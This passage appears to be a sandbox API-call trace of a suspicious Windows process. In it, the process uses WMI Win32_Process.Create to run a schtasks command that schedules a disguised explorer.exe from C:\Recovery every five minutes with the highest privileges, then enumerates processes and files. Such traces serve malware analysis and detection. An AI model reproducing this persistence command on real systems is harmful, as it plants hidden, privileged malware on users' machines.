pszPath="Win32_Process") returned 0x0 [0138.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0138.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0138.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.164] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0138.164] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0138.164] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0138.164] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.166] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a470) returned 0x0 [0138.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a470, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0138.166] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a470, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc949f0) returned 0x0 [0138.166] WbemDefPath:IUnknown:Release (This=0x1bc8a470) returned 0x0 [0138.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc949f0) returned 0x0 [0138.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0138.167] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0138.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0138.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0138.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a4b0) returned 0x0 [0138.167] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a4b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.167] WbemDefPath:IUnknown:Release (This=0x1bc8a4b0) returned 0x3 [0138.167] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0138.167] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0138.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0138.167] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0138.167] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x1 [0138.167] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0138.167] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0138.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc949f0) returned 0x0 [0138.167] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0138.167] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0138.167] WbemDefPath:IWbemPath:SetText (This=0x1bc949f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0138.167] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94930, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc949f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0138.168] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc94930) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc949f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc949f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc949f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0138.168] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94930, uIndex=0x0, pszName="root") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc949f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc949f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0138.168] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94930, uIndex=0x1, pszName="cimv2") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc949f0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc949f0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94930, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94930, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94930, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94930, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0138.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0138.169] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0138.169] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0138.169] IWbemServices:GetObject (in: This=0x1bc96ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc78850, ppCallResult=0x0) returned 0x0 [0138.201] IWbemClassObject:GetMethod (in: This=0x1bc78850, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc78bc0, ppOutSignature=0x1bb7e690*=0x1aa27080) returned 0x0 [0138.202] IWbemClassObject:SpawnInstance (in: This=0x1bc78bc0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa19d50) returned 0x0 [0138.203] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897b28*=0, plFlavor=0x2897b2c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897b28*=8, plFlavor=0x2897b2c*=32) returned 0x0 [0138.203] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897b28*=8, plFlavor=0x2897b2c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897b28*=8, plFlavor=0x2897b2c*=32) returned 0x0 [0138.203] IWbemClassObject:Put (This=0x1aa19d50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0138.203] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897bb8*=0, plFlavor=0x2897bbc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897bb8*=13, plFlavor=0x2897bbc*=32) returned 0x0 [0138.203] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897bb8*=13, plFlavor=0x2897bbc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897bb8*=13, plFlavor=0x2897bbc*=32) returned 0x0 [0138.203] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc78170) returned 0x0 [0138.203] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0138.203] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0138.204] IUnknown:AddRef (This=0x1bc78170) returned 0x3 [0138.204] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0138.204] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0138.204] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc78178) returned 0x0 [0138.204] IMarshal:GetUnmarshalClass (in: This=0x1bc78178, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.204] IUnknown:Release (This=0x1bc78178) returned 0x3 [0138.204] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0138.204] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0138.204] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0138.204] IUnknown:Release (This=0x1bc78170) returned 0x2 [0138.205] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0138.205] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0138.205] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0138.205] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0138.205] IUnknown:QueryInterface (in: This=0x1bc78170, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0138.205] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0138.205] IUnknown:AddRef (This=0x1bc78170) returned 0x3 [0138.205] IWbemClassObject:Put (This=0x1aa19d50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc78170, varVal2=0x0), Type=0) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94630, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0138.205] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0138.206] IWbemServices:ExecMethod (in: This=0x1bc96ee0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa19d50, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1a000, ppCallResult=0x0) returned 0x0 [0139.084] IWbemClassObject:Get (in: This=0x1aa1a000, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897ed0*=0, plFlavor=0x2897ed4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf80, varVal2=0x0), pType=0x2897ed0*=19, plFlavor=0x2897ed4*=0) returned 0x0 [0139.084] IWbemClassObject:Get (in: This=0x1aa1a000, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897ed0*=19, plFlavor=0x2897ed4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf80, varVal2=0x0), pType=0x2897ed0*=19, plFlavor=0x2897ed4*=0) returned 0x0 [0139.085] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x474) returned 0x360 [0139.086] GetExitCodeProcess (in: hProcess=0x360, lpExitCode=0x273765c | out: lpExitCode=0x273765c*=0x103) returned 1 [0139.086] CoTaskMemAlloc (cb=0x404) returned 0x1bcc5810 [0139.086] QueryFullProcessImageNameA (in: hProcess=0x360, dwFlags=0x0, lpExeName=0x1bcc5810, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1bb7ed88) returned 1 [0139.086] CoTaskMemFree (pv=0x1bcc5810) [0139.090] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1bc) returned 0x358 [0139.090] GetExitCodeProcess (in: hProcess=0x358, lpExitCode=0x273af6c | out: lpExitCode=0x273af6c*=0x103) returned 1 [0139.090] CoTaskMemAlloc (cb=0x404) returned 0x1bcc5810 [0139.090] QueryFullProcessImageNameA (in: hProcess=0x358, dwFlags=0x0, lpExeName=0x1bcc5810, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1bb7ed88) returned 1 [0139.091] CoTaskMemFree (pv=0x1bcc5810) [0139.094] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x91c) returned 0x364 [0139.094] GetExitCodeProcess (in: hProcess=0x364, lpExitCode=0x27385c4 | out: lpExitCode=0x27385c4*=0x103) returned 1 [0139.094] CoTaskMemAlloc (cb=0x404) returned 0x1bcc5810 [0139.094] QueryFullProcessImageNameA (in: hProcess=0x364, dwFlags=0x0, lpExeName=0x1bcc5810, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Common Files\\whatsapp.exe", lpdwSize=0x1bb7ed88) returned 1 [0139.095] CoTaskMemFree (pv=0x1bcc5810) [0139.098] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0139.098] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0139.099] CoTaskMemFree (pv=0x1a9882a0) [0139.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0139.099] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.099] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc467b0 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, 